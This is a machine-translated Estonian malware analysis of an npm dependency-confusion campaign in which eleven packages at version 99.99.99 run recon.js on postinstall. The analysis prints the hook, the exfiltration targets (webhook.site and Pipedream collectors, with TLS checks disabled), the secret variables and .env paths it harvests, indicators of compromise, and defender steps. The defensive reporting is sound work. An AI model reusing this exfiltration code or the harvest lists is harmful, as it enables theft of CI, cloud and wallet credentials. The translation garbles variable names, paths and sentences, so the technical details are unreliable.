TL; DR
17. juunil 2026 avaldati üks npm-i konto. üksteist paketti, millel on üks eesmärk ja üks kasulik koormusKümnel neist on kaasas cryptodao- eesliide (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); üheteistkümnes on ulatusega @public-for-cdao/coreIgaüks neist avaldati versioonis 99.99.99 ja saadab baitidentse recon.js mis jookseb edasi postinstall.
Nimed on olulised. Need on nagu krüpto/DAO projekti privaatse tööriistaketi sisemised ehitusplokid. Avaldatud avalikus npm registris kunstlikult kõrge versioonina, ootavad nad ehitust. pipeline mis on konfigureeritud neid nimesid lahendama ja mis jõuab avaliku npm-ini enne privaatset registrit – või selle asemel. See on sõltuvuse segadusja kasulik koormus on häälestatud täpselt sinna, kuhu see eeldatavasti maandub: CI/CD jooksjad.
Kui postinstall tulekahjud recon.js kogub hostiandmeid, läbib ligikaudselt nelikümmend pilve-, CI- ja krüptorahakoti keskkonnamuutujat, loeb ükskõik millist .env failid, mida see leiab, ja edastab saladust kandvad read sõna-sõnalt ning seejärel edastab kimbu kahele kogujale — webhook.site ja Pipedreami lõpp-punkt – TLS-sertifikaadi kontrollimine on keelatud. Koopia on kirjutatud ka jaotises /tmp.
Raskus: suurMõjutatud ökosüsteem: npmKõik üksteist paketti olid kirjutamise ajal aktiivsed.
Rünnaku anatoomia
Mehhanismil on neli liikuvat osa ja ükski neist pole nii peen, kui sa selle selgeks teed. vaata paketi nimest üks kiht kaugemale.
1. Versiooni inflatsioon kui lahendaja peibutis. Iga pakett deklareerib versiooni 99.99.99Sõltuvusprobleemid tekivad siis, kui paketihaldur küsib sisemine nimi, kontrollib ka avalikku registrit ja valib selle kõrgeima versiooni leiab. npm-i vaikevalik kursor- või metamärgivahemiku jaoks on kõige rahuldavam versioon kõigist konfigureeritud allikatest; kui nii privaatne Kui registri ja avaliku npm-i vastus on sama nime puhul suurem versiooninumber, võidab. A 99.99.99 ületab sisuliselt iga projekti tegeliku sisemise versiooni saavutatud, seega eelistab privaatsele allikale mitte kinnitatud lahendaja seda avalik – ja antud juhul vaenulik – koopia. Operaator ei pea teadma sihtmärgi tegelikud versiooninumbrid; absurdse maksimumi valimine garanteerib alati viigi murrab neile teed.
2. Installimisjärgne päästik. pakett.json ühendab kasuliku koormuse installiga eluring:
{ "scripts": { "postinstall": "node recon.js" } } Paketi importimist pole vaja. Piisab vaid selle installimisest – mida CI pipeline teeb automaatselt — töötab recon.js.
3. Lai salajane pühkimine. recon.js paneb tulemuste massiivi kokku etappide kaupa:
- Hosti kontekst: hostinimi, platvorm ja versioon, arhitektuur, kasutajanimi, töötamine kataloog.
- Keskkonnamuutujad: see itereerib umbes neljakümne nime ja kirje fikseeritud loendit kõik, mis on seatud. Nimekiri on paljastav – see paaristab üldised CI-tokenid (CI_JOB_TOKEN, CI_REGISTRY_PAROOL, GITLAB_ACCESS_TOKEN) ja pilve volitused (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) registri ja konteineri saladustega (NPM_TOKEN, DOCKER_PASSWORD, SADAMA_PARSOOL) ja selgelt krüptovaluutadega maitsestatud klaster: PRIVAATNE_KÕTI, MNEMOONIKA, SEED_PHRASE, INFURA_API_KEY, ALKEEMILINE_API_KEY, ETH_RPC, BSC_RPCSalvestatud väärtused kärbitakse esimese 50 tähemärgini.
- .env failid: see uurib teede loendit — .env, ../.keskkond, /rakendus/.keskkond, /rakendus/taustaprogramm/.env, /rakendus/bot/.keskkond, /home/gitlab-runner/.env, /root/.env, ja .tootmine/.arendus variandid – ja iga olemasoleva faili puhul filtreerib sisu vastavate ridade järgi VÕTI|SALADUS|TUNN|PÄÄSE|PRIVAATNE|MNEMOONIKA ja lisab need read **täielikult, kärpimata** tulemustesse.
- Build-host kontekst: see loetleb esimesed 20 kirjet /ehitamised/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/ja / tmp /.
Teede loend ja muutujate loend on kaalutud GitLabi käivitajate suhtes, mis osutab kasulik koormus pigem ise hostitud CI infrastruktuuril kui arendajal sülearvuti. Saagi nimekirja kategooriate kaupa rühmitamine muudab kavandatud saagi selgeks:
| Kategooria | Saavutatud muutujad / teed |
|---|---|
| CI/CD identiteet ja juurutamine | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| Cloud | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Register ja konteiner | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Andmehoidlad | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Krüpto / plokiahel | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Sõnumid | SLACK_TOKEN, DISCORD_TOKEN |
| Kettal | .env perekond + /home/gitlab-runner/.env, /root/.env, /app/**/.envkataloogiloendid /builds/, /var/lib/gitlab-runner/ |
Krüptoklaster on see osa, mis eristab seda üldisest CI-salajast. pühkimine: rahakoti seemnefraasid ja allkirjastamisvõtmed ilmuvad ainult keskkonnas, kus plokiahela projekti ja need kaardistuvad otse krüptodao-/märk/lepingud vedajate nimetamine.
4. Kahekordne väljafiltreerimine, mille puhul kontrollimine on keelatud. Kogutud massiiv on serialiseeritult ja postitatud kahte sihtkohta:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) rejectUnauthorized: false lülitab välja TLS-sertifikaatide kontrolli välja väljaminevate sõnumite puhul kõned. Samad andmed prinditakse standardväljundisse (seega jõuavad need ka CI töölogidesse) ja kirjutatud /tmp/.npm_recon_ .jsonVead neelatakse vaikselt alla, seega a Ebaõnnestunud saatmine ei jäta installiväljundisse jälgi peale ühe [luure] paigaldatud joon.
Faili juhtiv kommentaar kirjeldab seda kui „sõltuvussegadust“ „Luurekoormus.” Keskkonnaväärtuste kärpimine 50 tähemärgini on toimunud. kontseptsiooni tõestuse kuju. See, mis selle ainult kohalolekut jälgivast majakast kaugemale viib, on .env käitlemine: salajasi andmeid kandvad liinid edastatakse täielikult ja sihtkohad on kaks toimivat, ründaja poolt kontrollitavat kollektori, mitte ainult loev valamu tabamused.
Timeline
Avaldamismuster on ühe skriptitud tõuke allkiri, mitte üheteistkümne sõltumatud üleslaadimised.
| Aeg (UTC, 17.06.2026) | sündmus |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 avaldatud |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — skoobiga variant, ~24 minutit hiljem |
29-sekundilise akna jooksul läks teele kümme pakki, umbes üks iga kolme sekundi järel. Ulatuslik @public-for-cdao/core järgnes umbes 24 minutit hiljem — sekund sama sihtmärgi nimetamise konventsioon juhul, kui tarbiv projekt viitab sisemine tööriistakett ulatuse all, mitte paljaste nimede all.
Kompromissi näitajad
| KASUTUSALA | Indikaator |
|---|---|
| Koguja | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Koguja | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Paigaldage konks | postinstall: node recon.js |
| Fail eemaldatud | /tmp/.npm_recon_<timestamp>.json |
| Palgimarker | [recon] <pkg>@<ver> installed on <hostname> (standardväljund CI logides) |
| Käitumist | rejectUnauthorized: false väljamineva HTTPS-i kaudu installimise ajal |
| kasulik koormus | recon.js, identne kõigis üheteistkümnes paketis (üks jagatud versioon) |
| versioon | 99.99.99 igal pakendil |
| Paketid | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (kõik 99.99.99) |
| kirjastaja | aduljune / aduljune@proton.me (e-posti aadress kinnitamata, lingitud allikahoidlat pole) |
Omistamine ja täheldatud käitumine
Kõik klastri kohta viitab ühele käele. Kõik üksteist paketti avaldati. npm-konto poolt aduljune (aduljune@proton.me, kinnitamata aadress ilma lingitud lähtekoodihoidla), 25-minutilise ajavahemiku jooksul samal ajal 99.99.99 versioon, saatmine recon.js mille sisu on bait-baidilt identne igas pakett (MD5 vastab kõigile üheteistkümnele ekstraheeritud koopiale). See on üks kasulik koormus tembeldatud nimede nimekirja, mitte iseseisev koodi taaskasutamine.
Nimede loend määratleb kavandatud sihtmärgi. krüptodao-* ja cdao kirjelda krüpto/DAO projekti privaatmooduli paigutus ja kasuliku koormuse kogumisloend peeglid, mis arvavad: lisaks üldistele CI-le ja pilvesaladustele on see spetsiaalselt sirutab käe PRIVAATNE_KÕTI, MNEMOONIKA, SEED_PHRASEja Ethereumi/BSC RPC ja pakkuja võtmed. .env otsinguteed ja kataloogiloendid on GitLab-runneri omad spetsiifiline. Täheldatav efekt on see, et mis tahes pipeline petetud nende installimisega nimed edastaksid oma CI-tokenid, pilvevõtmed ja kettale salvestatud andmed .env saladusi – ja ka selleks plokiahela projekt, selle rahakoti materjal – kahele kolmanda osapoole kogujale.
Me ei esita mingeid väiteid selle kohta, kes kontot haldab või mida nad sellega teha plaanisid. andmed. Faktid, mis iseenesest kehtivad: nimed on suunatud konkreetsele teemale sisemine tööriistakett, kasulik koormus loeb ja edastab tegelikke salajasi väärtusi ning infrastruktuur oli aktiivne.
Mõju, trendid ja kaitsjate juhised
Sõltuvusprobleemid jääb efektiivseks, kuna see kasutab ära lahendaja käitumist, mitte a haavatavus igas pakis. Vedaja on siin tühine – üksteist peaaegu tühja pakid – aga plahvatusraadius on ükskõik milline pipeline eelistab ekslikult avalikku NPM-i sisemise nime jaoks. CI-käivitajad on selleks halvim koht: nad hoiavad täpselt need märgid ja .env failid, mida see kasulik ressurss loeb ja installib sõltuvused mitteinteraktiivselt, seega a pärast installimist jookseb ilma kellegi pilketa.
See klaster vastab ka mustrile, mida me pidevalt näeme: installimise ajal esinevad kasulikud koormused kui „uurimistööd“ või „luuret“, samal ajal kui ta päris volitusi kogus. Silt failis ei muuda seda, mida kood jooksjal teeb. Kaks disainivalikut jäävad alles tegevus vaikne: iga võrgu- ja failisüsteemi toiming on mähitud erandite käitleja, mis kõrvaldab vead, näiteks blokeeritud saatmise või puuduva faili ei anna diagnostilist väljundit ja prinditud on ainult üks kahjutu [luure] … paigaldatud rida, mis sulandub tavalise installijutu sisse. webhook.site ja Pipedream on samuti teadlik mugavus – mõlemad on tasuta, koheselt ette valmistatud päringute jäädvustamise teenused, seega operaator ei vaja servereid nende endi ja sihtkohad näevad väljumislogides välja nagu tavalised SaaS-i hostinimed.
Majanduslikud aspektid on need, mis teevad selle kaitsja tähelepanu vääriliseks, isegi kui operaatori kood on tühine. Üheteistkümne nime registreerimine ei maksa midagi, kasulik koormus on üks faili kopeeritakse üksteist korda ja paketihaldur teeb kogu täitmise. Üks valesti konfigureeritud pipeline kõikjal, kus üks neist nimedest tarbitakse, makstakse kogu eest operatsiooni.
Konkreetsed sammud kaitsjatele:
- Kinnitage sisemised ulatused oma privaatsesse registrisse. Konfigureeri npm nii, et sisemised nimed
ja ulatused lahendatakse ainult teie registri suhtes (ulatuslikud .npmrc registri vastendused, või puhverserver, mis ei lange kunagi avaliku npm-i kaudu oma nimeruumide jaoks). Reserveerige oma avaliku ulatusega nimed, et keegi teine neid ei saaks registreerida.
- Commit lukustusfailid ja installige need valikuga –ignore-scripts CI-s kus see on teostatav, või kontrollige väikest hulka sõltuvusi, mis vajavad installiskripte. recon.js ei saa käivituda, kui pärast installimist ei ole teostatud.
- Sisemise ilmega nime 99.99.99 (või muu absurdselt kõrge) versiooni käsitlemine punase lipuna sõltuvuste ülevaates ja registri jälgimises.
- Hoiatus installimise ajal väljuva teabe kohta. A pärast installimist mis avab väljamineva HTTPS-i ühendus – eriti kui sertifikaadi kontrollimine on keelatud – webhook.site, Pipedream või sarnased päringute jäädvustamise teenused on võrgu servas blokeerimist ja ehituslogides märgistamist väärt.
- Jahti esemeid. Kontrolli jooksjaid /tmp/.npm_recon_*.json ja jaoks [recon] … installitud … markerile hiljutistes CI logides. Kui leitakse, vahetage iga sellele avatud volitus pipeline — CI-tokenid, pilvevõtmed, registritokenid ja kõik keskkonnas või .env-failides olevad rahakoti seemned või privaatvõtmed.
Tehtud tööd
Selle klastri kohta puudusid kirjutamise ajal välised aruanded; analüüs ülaltoodud põhineb otseselt avaldatud pakendi sisul




